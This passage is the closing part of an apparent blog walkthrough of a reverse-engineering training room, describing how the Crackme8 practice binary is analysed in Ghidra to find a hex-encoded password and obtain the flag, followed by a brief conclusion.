/></figure><p><strong>Task 8: Crackme8</strong></p><ul><li>We begin by executing the binary which results in the following output.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*WVx71fejIT16KuCyq-XFLA.png" /></figure><ul><li>This indicates the need for a password as a command line argument. Attempting to run it with a sample password results in:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*wMxsaxWKPTgkD87MVCbjiw.png" /></figure><ul><li>Attempting to run strings on the binary does not give any output of great significance either.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/252/1*CBMc5zKxTb9EnOOWUnyMhg.png" /></figure><ul><li>We then launch ghidra to analyze the source code of the binary. Looking at the main function, we are able to find something interesting.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*Qvsg5lG_CfiSuf36qSrhCQ.png" /></figure><ul><li>The function takes our second argument, changes it to a integer which if it corresponds to the hex value provided, results in getting a print statement of access granted and executes the <strong>giveFlag()</strong> function</li><li>After converting the hex value using the site below, we are able to pass it as an argument and receive our flag</li></ul><p><a href="https://www.rapidtables.com/convert/number/hex-to-decimal.html">Hexadecimal to Decimal Converter</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XIwZi6_8O1KJFB8-g7d2gw.png" /></figure><p><strong>Conclusion</strong></p><ul><li>Congratulations on getting through this room.</li><li>Continue to explore further on Reverse Engineering and even try familiarizing yourself with the other tools. You never know which one might come in handy at what time.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=104874a880ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>